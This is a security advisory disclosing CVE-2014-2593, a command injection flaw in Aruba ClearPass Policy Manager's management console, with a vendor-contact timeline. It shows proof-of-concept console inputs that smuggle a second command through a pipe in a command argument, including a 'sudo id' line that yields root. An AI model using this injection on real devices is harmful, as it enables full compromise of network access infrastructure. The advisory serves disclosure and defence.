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Vulnerability title: Command Injection In Aruba ClearPass Policy Manager

CVE: CVE-2014-2593
Vendor: Aruba
Product: ClearPass Policy Manager
Affected version:
Fixed version: N/A
Reported by: Francisco Ribeiro


An input validation flaw was discovered in command parsing within the management console that allows authenticated users to inject system commands, as follows:

[appadmin@host]# system status-rasession 12|uname -a
Linux hostname 2.6.32-358.23.2.el6.aruba.x86_64 #1 SMP Thu Dec 5 12:33:01 PST 2013 x86_64 x86_64 x86_64 GNU/Linux

This happens on all valid commands in the third parameter:

[appadmin@host]# network ping 2|id
uid=10001(appadmin) gid=10000(appusers) groups=10000(appusers),21001(superadmin)

Due to insecure user privilege assignment this leads to arbitrary code execution as ‘root’:

[appadmin@host]# system status-rasession 1|sudo id
uid=0(root) gid=0(root) groups=0(root)


This vulnerability allows potential attackers to bypass the constraints imposed by the provided management console and execute arbitrary code with the logged on user privileges. Due to insecure privilege assignment, it is possible to run code with `root’ privileges and fully compromise the device. Arbitrary code execution may be used to compromise the device integrity in multiple ways, both data stored in it as well as data transmitted through it.


Exploit code is not required.

Vendor status:

25/02/2014 Advisory created
27/02/2014 Vendor contacted
27/02/2014 Automated ticket assigned by vendor
18/03/2014 Attempted contact with vendor at alternate addresses
18/03/2014 Another automated ticket assigned by vendor
25/03/2014 CVE obtained
01/05/2014 Final attempt at contacting vendor
01/05/2014 Another automated ticket assigned by vendor
25/07/2014 Published

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